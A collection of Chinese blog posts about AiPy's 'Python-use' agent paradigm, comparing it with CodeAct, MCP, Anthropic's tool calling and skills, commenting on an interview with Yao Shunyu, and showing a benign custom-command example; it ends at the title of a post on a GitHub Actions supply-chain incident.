在随后在10月份我写的《Code是AI的手：姚顺雨访谈与Python-Use范式的对话》一文也提到了「可靠性与创造性」的问题：

我们甚至发明了一个“Python Function Calling（PFC）”的机制，当然这个在我的理解里还是所有“Python Packages Calling”的范畴，传统的Function Calling是基于OpenAI的格式，使用JSON的方式去调用，而基于Python-Use下的仍然是依靠大模型直接去调用实现部署注册好的Function。具体放在插件部分调用了（注意这个部分目前CUI是不支持的），具体工具的实现代码，你可以在/plugins/目录下找到，你也可以自己注册开发对应的工具。

这个时候我重新找并阅读了CodeAct的项目的论文及代码，从论文来看CodeAct强调并解决的是“Code as Actions”这个跟我们Python-use范式提出的“Code is Agent”完全是一致的，这个其实也是这个论文的核心观点：“代码就是标准，代码就是行动”，论文明确对比传统的JSON/Text的方式有明显的优势：

从上面我们提到了与我们最早Python-use范式最大的区别点在于：“No Agents/No Tools”，所以CodeAct是通过事先编写注册对应的功能函数来实现Tools，其实这个是最早OpenAI的Function Calling --> MCP --> PTC(Programmatic Tool Calling) 都是事先由开发者写好对应的功能函数后交给LLM调用，但是这个调用方式有一个区别：

Function Calling --> MCP --> PTC 使用的JSON去实现Calling，而CodeAct及Python-use是直接LLM直接生成并调用对应函数的代码。

所以在这个角度上看Programmatic Tool Calling最终回归到了CodeAct，唯一的区别在于Anthropic还在使用MCP路线遗留的JSON。

https://www.anthropic.com/engineering/advanced-tool-use

这个问题其实在本质上还是上面提到的「可靠性与创造性」的问题，显然Python-use的范式的创造性，也就是我们反复强调的与环境沟通的可扩展性灵活性是，当然同时带来的就是稳定性问题，我记得当时在跟我们内部同事沟通的时候说：这个不确定性恰恰是我们Python-use范式是的优势！

作为一个技术范式，它肯定是有它的技术兼容性的，对于先阶段稳定性的诉求，Python-use的范式是完全兼容的：

Python-use 范式 = API Calling + Python Packages Calling + Python解释器 = “万物互联” + “万物编程” + “万境直通”

上面提到了我们实现的“Python Function Calling（PFC）”可能用“Python-use Function Calling（PFC）” 更好理解，是源于“Python Packages Calling”的设计的扩展，这个设计最早AiPy的核心中runtime对象（现在代码可能有变化）在某个角度也就是Packages Calling，比如runtime.install_packages()用来安装包，在我们的早期版本的系统提示词里可以看到这些包函数的调用说明：

## 全局 `runtime` 对象
`runtime` 对象提供一些协助代码完成任务的方法。
......
### `runtime.install_packages` 方法
- 功能: 申请安装完成任务必需的额外模块
- 参数: 一个或多个 PyPi 包名，如：'httpx', 'requests>=2.25'
- 返回值: True 表示成功，False 表示失败
示例如下：
```python
if runtime.install_packages('httpx', 'requests>=2.25'):
import datasets
```
......

而“Python-use Function Calling（PFC）”的做法是开放了这个接口给用户，本质上还是属于“Python Packages Calling”的范畴，在这个角度上看“Python-use Function Calling（PFC）”实际上就相当于是一个CodeAct。

所以Python-use的范式是兼容工具函数定义的，只是MCP、PTC、PFC、CodeAct都有一个问题：需要实现定义，依赖开发者的开发，换句话说没有开发者的支持，如果没有对应的工具，用户就没办法去让模型在环境中执行起来，大家可能日常用到的工具可能就那么几个，但是专业场景呢？当然以我比较恶心的揣测，开发者是乐意去接受用户的这种跪求的！？

对于Python-use Function Calling (PFC) 的具体实现可以参考：

https://github.com/knownsec/aipyapp/blob/main/aipyapp/plugins/p_web_tools.py

在AiPy的Cli版本下可以通过/plugin查看

>> /plugin
                                                        Available Plugins
┏━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━┓
┃    Name    ┃                                     Description                                      ┃ Type ┃ Version ┃  Author   ┃
┡━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━┩
│ web_tools  │ Web Tools - Provides web page scraping, URL analysis, and HTTP request capabilities. │ TASK │  1.0.0  │ AiPy Team │
├────────────┼──────────────────────────────────────────────────────────────────────────────────────┼──────┼─────────┼───────────┤
│ image_tool │          Image Tool - Provides image recognition and analysis capabilities.          │ TASK │  1.0.0  │ AiPy Team │
└────────────┴──────────────────────────────────────────────────────────────────────────────────────┴──────┴─────────┴───────────┘

在这里我需要强调的是，PFC是依托的Python Packages Calling，这只是这个来强调我们Python-use作为一个Agent实现范式的兼容性，而我一直认为：大模型与环境数据的无限扩展能力才是AI Agent真正落地的关键

从Agent开发角度，当Agent与环境交互中的“环境数据”（可以理解为“私有数据”），最后落地其实还是在于“上下文工程”上，Anthropic的PTC其实从这个角度上看也还是围绕“上下文工程”去做的修正！

skills

这个本应该不属于今天文章的范畴的，只是在2025年10月16 Anthropic发布skills

https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills

后，很多人觉得这个是Anthropic是用来取代MCP，因为skills 不在是纯粹的提示词，而是加入了“code execution”，也就是在对应的skills文件夹里可以包含预设的代码并执行，在某种角度上看用户可以通过Claude Code直接通过skills来完成很多之前可能需要MCP来完成的工作，我觉得这个是一种误解，如果你熟悉了解一些Agent的开发，从Claude code的开发角度可能更加容易理解，有很多的方式可以完成相同的工作，本质其实还是提示词工程，比如我们的AiPy CLi你可以通过插件、或者角色或者单纯的API描叙都能让模型去开发实现某个功能。

在我看来skills更像claude code 的Custom slash commands

https://code.claude.com/docs/en/slash-commands

的进化，在8月初我们在实现Python-use Function Calling (PFC)后看到了slash-commands 使用的是md，实际上对这个md选择还是很有讲究的，我们之前在AiPy的实现里纠结过很久，当看到slash-commands后，还是很受启发的，于是我们的章鱼英雄lgx再次出手，实现了AiPy Cli的commands 功能

https://github.com/knownsec/aipyapp/blob/main/dev/UserCommand.md

我记得当时lgx在实现AiPy cli的自定义命令功能后，小激动了一把：

随即我体验了一把，非常丝滑，最大的两个特点：

一、模板渲染: 使用 Jinja2 模板引擎处理动态内容

支持Jinja2意味着可以各种动态处理提示词中的各种内容实现“可编程”

最重要的还支持

{% include "common.md" %}

这意味着可以相互命令可以相互嵌套调用，而且还支持AiPy内部函数变量的调用：

Current LLM: {{ctx.tm.get_status().client}}

二、代码块执行: 支持 Python、Bash/Shell 代码块执行（MAIN 模式）

这个可以算是又一个我们创新的方式，直接在md里支持本地代码标记并执行

这是不是让你想起了上面提到的skills，是的没错AiPy在8月中旬就已经实现了对代码执行的支持（比skills早2个月），当然这个并不能说明什么，代码标记实际上在skills的设计中显得有的突兀的，当然skill本事是个文件夹，支持各种资源文件包括代码文件，这一点确实是值得学习的

具体测试大家可以把

https://github.com/knownsec/aipyapp/tree/main/examples/commands

commands目录 cp 到~/.aipyapp/commands/

比如下面的 system_info.md 代码，然后保存到~/.aipyapp/commands/下

---
name: "sysinfo"
description: "Display comprehensive system information"
modes: ["main"]
arguments:
  - name: "--detail"
    type: "flag"
    help: "Show detailed information"
---


# System Information


## Current Configuration
- **Working Directory**: {{ctx.tm.get_status().workdir}}
- **Current LLM**: {{ctx.tm.get_status().client}}
- **Current Role**: {{ctx.tm.get_status().role}}
- **Display Style**: {{ctx.tm.get_status().display}}


{% if detail %}
## Detailed System Status


````python
import sys
import os
from pathlib import Path


# System information
print("## System Details")
print(f"- Python Version: {sys.version}")
print(f"- Python Executable: {sys.executable}")
print(f"- Platform: {sys.platform}")
print(f"- Current User: {os.getenv('USER', 'unknown')}")


# Directory information
cwd = Path.cwd()
print(f"- Current Directory: {cwd}")
print(f"- Home Directory: {Path.home()}")



# Task statistics
tasks = ctx.tm.get_tasks()
print(f"\n## Task Statistics")
print(f"- Total Tasks: {len(tasks)}")
````
{% endif %}


---
*Use `--detail` flag for comprehensive system information*

重新进入AiPy Cli的主任务界面通过/ 就可以调用了：

>> /sysinfo --detail
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃                                                               System Information                                                               ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
                                                              Current Configuration
 • Working Directory: /Users/xxxx/aipython/aipyapp-0.4/aipyapp/work
 • Current LLM: trustoken/trust:auto
 • Current Role: aipy
 • Display Style: classic
                                                              Detailed System Status
 ## System Details
 - Python Version: 3.13.0 (main, Oct 16 2024, 09:15:13) [Clang
 18.1.8 ]
 - Python Executable: /Users/xxxx/aipython/aipyapp-0.4/aipyapp/.venv/bin/python3
 - Platform: darwin
 - Current User: xxxx
 - Current Directory: /Users/xxxx/aipython/aipyapp-0.4/aipyapp/work
 - Home Directory: /Users/xxxx
 ## Task Statistics
 - Total Tasks: 0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Use --detail flag for comprehensive system information

当然还有一些细节的区别，比如对应的命令及skills对模型支持指定，因为claude code本身不需要对其他家的模型做兼容，所以它可以很好的指定对应的模型去做对应的命令或者skills，而AiPy是多模型支持的，不是很方便去指定对应哪家的哪个模型。

“大厂放个屁都是香的”

这个是大厂的先天优势，所以只有“羡慕嫉妒恨”的份，回想一下Python-use范式（AiPy）发布后到现在，其实我自认为我们还是做了很多独创性的工作的，甚至我们AiPy都比Claude Code发布还早，更早的实践了真正的Vibe Coding 最早的提出并实现Vibe Working ... 当然这些都是“然并卵”的事情，对于用户来说你用什么范式，用什么技术其实都不重要，重要的是你能真正解决问题 ...

只是可惜的是具体ChatGPT大火已经三年了，很多的的意识却还没有转变，今天我又在我们VIP群里发了“黑哥尔的模型三大定律”，引起共鸣。

对于技术社区的朋友，其实我是比较建议去关注并了解下某个技术或者产品的更新发展的脉络，这样能更好的理解来龙去脉。另外现在还有Agent开发者在纠结通用还是垂直，这个在之前的文章里我也提过这个实际上不是技术问题，而是产品定位及市场定位等综合问题，理论上通用类型的也可以做垂直定制深挖。

而且我注意到现在还有一个更可悲的事实：“当你拥有了超能力后，你根本不知道自己要做什么” ，其实很多Agent的场景很多是脑补出来的需求，然后即使是常用的真正有价值场景可能还非常有限，而现在更需要扩展更多的场景，充分发挥大模型的在这种不通领域不同场景中的价值，这种才能最大程度的释放大模型的能力，解放大模型。

其他

实际上通过Code的方式，其实还有很多其他的优势，比如前面在一个群里有群友提到另外一个与AiPy类似的项目：X-Master

论文：

SciMaster: Towards General-Purpose Scientific AI Agents, Part I. X-Master as Foundation: Can We Lead on Humanity's Last Exam?
https://arxiv.org/abs/2507.05241

X-Master其实是CodeAct的方式去实现了Deep Research，实际上通过Agent的方式来处理格式化完成的数据是回减少很多幻觉的，比如之前测试数学随机乘法让模型直接出结果很可能出现幻觉而且可能还没办法肉眼验证是不是正确，而换在Code-use范式的场景这个问题就不存在了，而在通过搜索来找问题答案场景，这个也是一样的通过Agent的方式可能更加，当然这个不能解决SEO/GEO被污染的问题。后面我通过AiPy调用Google等搜索API 然后做了一部分的测试包括X-Master带的一些测试都是没有问题的：

阅读原文

跳转微信打开

Code是AI的手：姚顺雨访谈与Python-Use范式的对话

Thu, 02 Oct 2025 17:50:00 +0800

原创 heige 2025-10-02 17:50 湖南

（上图由ChatGPT生成）

前面在朋友圈推荐过姚顺雨的一个采访文《独家对话OpenAI姚顺雨：生成新世界的系统》说实话在看到这篇文章之前，我并不知道他是谁，也没有读过该文开头提到的他那篇有名的博文《The Second Half》

https://ysymyth.github.io/The-Second-Half/

但是大概看了下这篇文章后，发现有很多的共鸣的地方，于是我读了很多遍，内容有点多，所以我不得不得动用我最高阅读礼仪：

我数了一下，有个8页笔记（比较凌乱），一般我这个动作是为我写文章做会做一些记录或者提纲才会去这样做的，所以其实你们看到的我写的公众号内容，基本都是来自于我自己的思考跟理解，当然很多文章里有大量关联性引用及细节问题，可能导致我写的内容不是那么方便阅读，只是希望能遇到有缘人，引起一些共鸣！

所以在看下面的内容之前，除了需要先看看上面开头提到的采访，还可能需要看看我之前的写的相关文章：

【Agents/MCP可能不存在了】No Agents, Just Python-use！

AI Agent真正落地的关键：大模型与环境数据的无限扩展能力

从 Vibe Coding 到 Vibe Working

姚顺雨这个名字挺有意思：谐音（“尧舜禹”）他的主要方向是AI Agent的方向，据他自己在采访里说：“到现在6年了”，然后大家都知道我们前面做了个一个叫AiPy的Agent，目前我大部分的关注点也在这一块，所以我前面说的共鸣主要还是在于Agent相关的部分。

大家的认知都是不一样的，尤其是在大模型领域，所以每个人可能对Agent的认知也是一样的,在姚的采访里提到的Agent实际可能跟我们现在日常谈论的Agent还存在一些差别，姚搞的Agent实际上是一个更大的概念，因为他是从我们熟悉的LLM之前就有Agent，也就是采访文里提到的“传统的Agent”，而我们大部分的认知是在LLM诞生之后的，这个阶段是“Language Agent”，在姚采访第二部分就给出了Agent的定义：

“任何能进行自我决策、与环境交互，并试图optimize reward（优化奖励）的系统，都可以被称为Agent。”

“你可以说AlphaGo是Agent，也可以说Waymo是Agent，甚至可以说机器人是Agent”

所以这个大家就可以同频理解Agent了，在这个Agent的理解里核心在于 “环境（Environment）”-->"执行（Action）" 对于“环境”这个词来说，姚在采访里提到过很多次，你可以把这个“环境”理解为“方向”，在“传统的Agent”里选择一个好的“环境”也就是“方向”对研究者来说至关重要，所以姚反复提到了“我们需要一个更好的环境”，从他的研究经历确实是这样的，在LLM（大语言模型）出来之前，这个尤为重要，在这里需要提到另外一个采访里出现比较多的一个词“泛化”，因为在LLM出来之前，都是具体的细分的领域比如AlphaGo、用来打Dota等，而这些Agent最大的问题是没办法“泛化”，也就是不太好用下围棋的AlphaGo的模型去玩Dota，所以“环境”对于姚这种选手有着至关重要的“执念”，直到LLM的出现，尤其是在GPT3.5出来后，大语言模型本身通过语言能力实现了“泛化”，通用的Agent成为可能。由此进入“Language Agent”：

“第三波Agent是从大语言模型开始的。我们发现它可以做推理，而基于推理，就能进入一些新的环境，比如编程、互联网、各种数字环境。这些数字环境有一个共性：大多数都是基于语言的，需要推理。”

又回到了“环境”，与环境的“执行（Action）”成为关键！

Environment（环境）

而姚认为Code是“某种程度上，是AI最重要的affordance（环境给予行动者的可能性）”，他认为：“Code有点像人的手”，“对于物理世界，人最重要的affordance是手——我们围绕它制造各种工具，比如锤子、笔、筷子。但对AI、对Digital Agent（数字智能体）来说，最重要的affordance可能就是code。”

而这个理念简直就是我们之前提出的AiPy使用的Code-use（Python-use）范式理念简直一模一样！而在接下来的采访里姚还提到了：

“更广义说，你可以认为API也是code的一部分。任何基于code的接口，都属于code环境的一部分。有个非常经典的debate（争论）：最终的AGI，是基于API或code的？还是基于GUI（图形界面）？或者是为人定义的前端环境？还是它是一个混合体（mix）？”

还记得我们Python use的架构了有个核心的设计“API Calling”吗？API Calling + Python Packages Calling + Python解释器 = “万物互联” + “万物编程” + “万境直通”。

只是姚还有一个比较纠结点，那就是GUI，这个也就是我在《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》里提到的，类似于Claude的Computer-Use范式，基于模型的“视觉理解”的那种“泛化”效果，不过目前来看后续依赖纯“视觉”的GUI操作有点乏力，后续一些厂商提出手机或者PC上的一个自动化操作GUI的多少有点Agent 1.0（基于“剧本”工作流）结合操作。

不过在后续姚也指出：“你是想改造你的车让它适应所有路，还是改造所有路让它适应现在的车？很多时候，现实中并没有现成的API，只有GUI。但你可以人为为它构造一个API。” 这个其实跟我们提出的 API Calling + Python Packages Calling 的思路高度一致了，当你的能力覆盖不到的时候你可以通过构造API或者Package来实现，当然实际上到目前为止Python的生态已经足够强大而且还在AI时代还在不停扩展！这个也是为什么我们选择Python use来代表Code use的根本！

显然上面这些都是让我引起“共鸣”的核心关键点，但是在通读整骗的采访里，你会发现还是有一些不一样的理解？在提这个之前，我们得先提下姚在采访里提到另外一个比较多的词：“Interface”

Interface（交互方式）

其实我对这个词还是挺奇怪的，这个可能是我英文不太好，也没看过原采访视频不知道当时是用英文采访还是中文。在我看姚的采访里给最开始的印象认为他理解更加趋向于“产品”方向的，当然深度看到后面的采访可以看出他理解肯定也是“环境的交互”，所以其实我更加喜欢Action+feedback的表述，在我之前的文章里多次提到环境的交互是源于 “The Model is the Product”里的那个经典图，参考《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》

姚在访谈里多次强调了Interface的重要性，甚至认为：“创业公司最大机会是：设计不同的interface”，就这个问题在多个章节都有提到，他举了很多例子比如Cursor、Canvas或Artifacts 这也是给我的最初的印象可能是关于“产品”交互的，但是当我看到后面聊“对于未来12到24个月，Agent领域有可能发生的事情，你有哪些预测？”的回答：

姚顺雨：首先，这些模型公司的Chatbot系统会演化成一个很自然的Agent系统，它是一个很自然的过渡。
Grok、ChatGPT或Anthropic Cloud，默认的交互方式会是Agentic（智能体式的）交互方式。Chat可能还会保留或作为一个子集，但Agent会成为一个很显然、更重要的交互方式。
会有新的类似Cursor的产品出现，Cursor是在coding和IDE（集成开发环境）环境下做的Copilot（辅助编程助手），但我觉得会有机会做一些新的环境或更大环境下的Copilot。

这两种大的交互方式是互补的，或者说不一样的正交的。
一边是，我有一个基于模型的，可能是一个remote（远程）的Virtual Machine（虚拟机）或者Environment（环境），我在里面做很多事；另一边是，有很多既有的环境，比如既有的软件，或者既有的场景，我把Agent或AI能力引进去。
大趋势可能是，两方面都会往下发展。

由此可以看出对于深层次的Interface的理解是还是对于环境的，在某种角度上跟我的理解还是有一定的出入，或者说角度有不一样的地方，我认为的环境交换落地在于数据（参考《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》）：

LLM与环境（数据）的交互关系是智能化落地的根本

我觉得Agent 2.0这种方式的本质在于LLM与环境（数据）的无障碍自由的交互，这才是LLM能力根本性落地。Python-Use范式实现的就是“数据在哪里，模型能力就要覆盖到哪里”，真正实现“数据驱动模型”实现“智能”。

所以当我看到上面这段姚提到“会有新的类似Cursor的产品出现”的时候，我只想说其实这种与环境直接交互的已经出现了：AiPy就是？！确实也符合“新的环境或更大环境下的Copilot”，当然我觉得姚在这个方向上的思考更趋向于基于一OpenAI公司视角下的“环境”，具体点可能更加趋向于他在采访里也是多次提到的Super App。

在姚的采访中有一句话：“如果你做一个和ChatGPT形态很不一样的东西，是会有机会的”，这句话说得比较委婉，翻译下：“如果你做的东西ChatGPT都能做的话，他们都会做！”，当在上面回答其实也提到了就是模型厂商会从一个Chatbot的范式逐步往Agentic的交互方式，最终形成一个“Super App”，一个中性化的超级“环境”，而这个形态更趋向于Manus那种云端模式，而这正是我之前《从 Vibe Coding 到 Vibe Working》里提到的Agent未来：

这些能在云端实现的Agent，没有与环境私有数据沟通能力的Agent，甚至包括很多的大模型周边的生态位衍生的能力或者产物，最终都得被大模型“内化”！

而我对于”环境“的理解更加趋向于“数据”，“数据决定了大模型能力的上限”，Agent时代是数据找模型，也就是上面提到的“数据驱动模型”。

根据姚的采访及实际观察到的，从最近的OpenAI的ChatGPT及Anthropic的Claude线上一系列更新来看，比如线上Chatbox模式开始推出Agent方式，包括MCP等的支持等动作，大模型厂商已经开始各自进化他们的“Super APP”，这个点其实非常有意思，之前我在朋友圈及文章里提到了Anthropic与OpenAI方向上的存在分歧的问题：Anthropic一直聚焦在编码这个角度而OpenAI展示的就是我全要。不过到现在Anthropic从Claude Code出现，觉醒了“Code use“范式在Agent方向的应用（参考《从 Vibe Coding 到 Vibe Working》），而OpenAI从Manus那看到了云端Agent的展示效果，其实姚在采访里也提到了Openai“抄袭”Manus（插一句：姚在采访里多次提到Cursor和Manus，其实这个也算一个共鸣的点，因为我每次提到大模型应用相关的就会提到Cursor和Manus，在我以往的文章里也提到一些具体的点），当然他用的是“互抄”这个词，所以Anthropic与OpenAI，甚至包括其他的国内国外的模型，最后可能大家可能又回归到了同一条路：Super App（Super Agent）。

至于PC、手机等OS上可能是另外一个表现形式，我一直认为：OS、APP、模型厂商之间必有一战，当然这种可能是一个长期入口之争！

在姚的采访中还提到了对于创业而言，这个感觉创业者在“Super App”上没有机会了，对于这个问题姚的回复还是比较有意思的：一是大厂的形态一旦固定，可能就把资源趋向于这个形态，而没有精力去关注新的交互方式，所以才有那句：“创业公司最大机会是：设计不同的interface”，当然我也觉得姚没有把这话说完整，后面可能是：你找到了不同的interface，你也就找到了给OpenAI抄袭的机会了（有点跑题了） ... 姚的原话是：

对于创业公司，最好的机会是：你做新的交互方式，并且模型不停有新的溢出能力，让你能够赋能这些新的交互方式——两者缺一不可。

这个点其实跟我们的理念也是有共鸣的，我们的“Python-Use（Code-Use）”范式，一个核心的理念是：充分发挥大模型的能力，最终追求的是“Freedom AI（AGI）”。模型越强，那么我们的AiPy对环境交互能力越强，完成的任务能力就越强！

「环境交互决定智能边界，智能不是缺能力，而是缺环境接口。 Python-Use 的使命就是把被封印的能力解放出来。」

我们这里小节一下对于“Environment（环境）” 和 “Interface（交互方式）” 理解上，姚看到更多的是偏“产品”方向上怎么构建一个更大的更通用“环境”，并通过模型“泛化”的方式去理解并与环境进行交互，而我的理解更加趋向“数据”，我觉得这两个方向，都是非常值得思考和关注的点，可能看到不一样的点。

在“产品”角度的视角，我最近看到一个比较有意思的观点：“Chat式的AI交互是一种束缚”，然后我最近也看到一些创业项目，确实有那么点意思，不再局限于Chatbox的交互方式，而我之前的观点在于在LLM时代所有的产品都值得被重塑，看来这个重塑还得包括LLM本身相关的产品。

这种觉得这种观点倒是不是最重要的，因为说出这个观点的人的具体的理解可能跟我的或者看官你的可能都不一样，我觉得最大的问题在于：我们在做LLM相关产品时，不会去思考或者纠结Chatbox是不是不是最合适的交互方式？这种意识的觉醒才是最重要的！

所以我非常认同姚说的：“我们的想象力仍被以往的交互方式所限制，还有许多尚未诞生的交互方式。这些新的交互方式，会改变我们的世界”，而且我认为AiPy背后的Python-Use范式或者说Code-Use范式就属于这类范畴！

从姚提出的“Super APP是一把双刃剑”我认为这可能是他关于上“交互方式限制”的反思：OpenAI或者他是否也被“Super APP”所限制？！因为我在姚关于Agent Infra（智能体基础设施）问题上的纠结：

两年内还是会有些Super App，这些Super App会有各自的Infra，有各自的Environment或交互方式。
两个事情都可以做到极致，就是一个是基于用户local（本地）的Digital Environment（数字环境），比如我有个手机，有个电脑，有个软件，我已经在这了，我怎么把它去扩充，怎么把它变得更好？
另一个是从头创造新的Environment，比如我做Deep Research或我做Operator（操作者），我实际上创造一个新的Environment。这两个事都还有很多可做的空间。

其实我觉得某种角度上看，Python-use = Agent Infra 的“捷径”，可能是最优落地路径。

Context（上下文）或 Memory（记忆）

在姚的采访里有大量的内容是涉及Context（上下文）+ Memory（记忆），印象深刻的是他用人来说明环境与Context的关系：“只有人有这样的能力：进入一个环境，获得这个环境里的Context。”

当你人接触到一个环境时，产生的所有“交互”数据就是上Context，而要对这些内容的处理就是 Memory，当然这个处理会相对比较复杂，比如存储，再次提炼学习等，而上面我们提到的“Environment（环境）” 和 “Interface（交互方式）”最终可能落地到就是这个Context（上下文）或 Memory（记忆）的处理上，结构有点类似：

LLM <--> 记忆层(上下文) <--> 环境

在不同的环境形成不同的记忆层，那么对环境交互“泛化”上的处理可能在于对这些数据再处理，比如通过在某个环境的交互中形成的“长记忆”。

当然我也一直认为Memory与Context本身是一起的，在Python-use范式的架构图里，我把上下文部分设定为Action对应的“Feedback” + “Memory”了，在我们当时的设计里这部分的设计算是第二期工程，因为我们优先是要把这个范式落地了，而我们现在AiPy的一个核心开发点也聚焦在Context（上下文）+ Memory（记忆）这一块，这个问题是所有做Agent必然会面临的问题。要不然大神Andrej Karpathy在带火“Vibe Coding”后再一次带火了“Context Engineering”

在我的理解里上下文目前主要是两个问题：一是上下文爆炸的问题，二是注意力的问题。而这些都是非常让人头疼的问题，目前解决上下文问题主要是两个方向：

1、模型能力提升

在这里目前有出现了两个方向：一是：大力奇迹支持大的上下文，可以看看下图：

这个主要依赖算力的支持，当然也有注意力方面的问题。

另外一个就是前几天发布的DeepSeek 3.2的一个新方向：DeepSeek Sparse Attention (DSA) ，大大降低了上下文处理的成本，所以前面我还在想这个DSA会不会是上下文方向上新的DeepSeek时刻！

在这个方向上我们只能等待模型的进化，当然这个也符合我们模型更强AiPy更强的理念...

2、就是工程化实现

这个也就是上面提到的“Context Engineering”有点差不多，可能具体考虑东西可能有差别，这个主要是在对应的Agent相关产品开发上，目前我个人觉做的比较好的还是那几个IDE产品，一个是Cursor，因为可能是很早就使用的缘故我对当时用的@codebase功能留下了深刻的印象，当时觉得RAG可能是一个处理上下文的方向，当然这个功能被Windsurf提到的grep Agent方式所替代，然后一个就是Claude Code里的提供的上下文压缩、管理等功能，Claude Code的Subagent丝滑处理印象也非常深刻，但是他们这两个都是IDE方向的，对于代码开发的场景相对比较固定，而对于Working来说就不太好说了，这个方向也是目前我们AiPy核心开发关注的一个方向。

我们回归到姚的访谈中，还提到了另外一个词：“数据飞轮”，这个是在提到“Cursor这样的公司壁垒”问题时提到的，这个核心的部分其实也就是上面提到Context（上下文）或 Memory（记忆）等数据再训练的问题，这个问题实际上我们也考虑过，其中有一个问题：“如果你是Cursor的CEO，你会去做Pre-Training的事情吗？”，当然在姚认为：“大多数公司还没有形成数据飞轮”，这个是跟产品用户基数是息息相关的！

而对于OpenAI这种大厂确实如姚所说：“现在对于ChatGPT比较重要的是Memory（记忆）”，如果你长期使用ChatGPT的话，可能非常有体会，ChatGPT会把所有用户提交的上下文记录都形成记忆，我觉得未来他们可能想做的更多，比如通过Agent/API等获取到“环境”相关的个体数据，而做精准的个人超级管理，最新发布的ChatGPT Pulse就有这种味道？！

注：上面提示词里我没有写Subject，而ChatGPT根据记忆关联到了AiPy的logo设计上了

Cost 和 Value

这个其实就是我常说的“性价比”问题，在姚的访谈里这个主要是谈到一个创业者提的问题，这个参与者觉得算力是瓶颈，而且觉得Agent的Token用量非常可怕，用户越多多成本可能越高，说实话我看到这个问题的第一反应是这个提问的哥们真是的是一个Agent的创业者吗？如果真是可能是被Manus早期平均一个任务需要2美刀，的使用方式吧，这个主要原因多半是Claude模型贵的，那个时候大家需要追求效果所以清一色的使用Claude这种顶级模型，花销确实挺贵的，另外一个方面就是多工具调用的当时一个任务评估10几分钟中间出现大量的内容数据，但是实际上在我们AiPy出来后，成本要比Manus这种少了很多，而且我们现在主推国内模型，当时AiPy诞生的时候使用DeepSeek的是非常便宜的（我10块钱的DeepSeek官方充值，测试高强度使用AiPy用了一周），效果上当时相比使用cluade3.7等模型，单次效果可能是有一些差距，但是好歹DeepSeek便宜通过AiPy的自动反馈并修复的机制多跑几次也没啥大问题，而且到现在国产模型已经大幅度把价格打下来了，而且性能也逐步提高，DeepSeek、豆包、智谱等已经把这个性价比提高了不少！所以完全不用担心这个问题。

而姚觉得在纠结Cost之前应该先考虑Value，找到一个有价值的场景是最重要的，至于Cost总有办法解决，其实这个在国外这种创业环境确实是不用考虑的，因为如果你的效果好有大把的投资机会，而在国内就不一定了～～

当然对于这个“性价比”的问题，其实我更加在意的本地部署的模型的“性价比”，从DeepSeek到智谱4.5（现在4.6已经发布了，也会继续开源，到本文为止应该还没正式开源）的开源，开源的模型效果越来越多好，对硬件的要求也越来越低，也就是性价比大幅度提升，在我们AiPy本地一体机的测试中，GLM 4.5量化版本地部署环境中，AiPy任务一次成功率达到了80%，这完全可满足大部分的企业应用场景。（有兴趣的可以联系我们，访问https://d.aipyaipy.com/d/13 加群联系群主即可）

可靠性与创造性

当主持人与姚聊到“什么样的任务适合Agent做”，姚觉得任务分“一类任务更注重reliability（可靠性）”，“另一类任务更注重creativity（创造力）”，另外“还有一种划分方式是：看任务的深度和广度”，我当时看到这个的时候我觉得这问题是我们之前纠结很久的一个问题，就是我们AiPy稳定性，可重复使用的问题，这个问题我在《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》里关于“Python-Use范式 ‘劣势’“里有提到，当然我们也有一些解决方案，除了之前提到的这些外，我们甚至发明了一个“Python Function Calling（PFC）”的机制，当然这个在我的理解里还是所有“Python Packages Calling”的范畴，传统的Function Calling是基于OpenAI的格式，使用JSON的方式去调用，而基于Python-Use下的仍然是依靠大模型直接去调用实现部署注册好的Function。具体放在插件部分调用了（注意这个部分目前CUI是不支持的），具体工具的实现代码，你可以在/plugins/目录下找到，你也可以自己注册开发对应的工具。

姚采访的内容实在是很多，涉及的点也非常多，还有很多的细节点也有很多共鸣的地方，只是有的点不在今天讨论的范畴，比如我还看到了安全方向的共鸣：

李广密：你个人会担心AGI实现之后的安全问题吗？
姚顺雨：我会担心。但现在最大问题是——AGI还没实现，我们还没创造足够价值。
如果我们还没想清楚，怎么把它变得有价值，就急着把它变得很安全，好像没有意义。

与其纠结恶的部分，不如先想想怎么发挥善的价值！

最后

当然还有很多关于训练的创业相关的一些话题，我这里就不太好惨和了，在最后其实我想说明的上面这些观点都是我个人的理解，可能与姚顺雨本身的想表达的不完全一致，而且从背景上来看姚更趋向于学术视角，而我可能更加偏工程落地视角。可惜我并不认识姚，如果有机会的话倒是挺期待有一些新的探讨！

ChatGPT对本文的评论：“姚顺雨的Agent定义提供了一个学术与系统视角，而Python-Use范式则给出了一个工程与落地视角。两者在‘Code是AI的手’这个共识点上握手，但走向的路径可能不同：一个是从环境出发构造产品，一个是从数据出发打通交互。最终，它们都指向一个问题：我们如何让AI真正伸出一只手，去触摸并改造这个数字世界。”

阅读原文

跳转微信打开

被忽视的“GitHub Actions Supply Chain Attack”事件

Tue, 09 Sep 2025 19:32:00 +0800

原创 heige 2025-09-09 19:32 湖南

（上图使用Google Gemini Nano Banana模型生成）

这个事件已经是2025年3月曝光的事件了，当时我们的hackernews

https://hackernews.cc/archives/57984

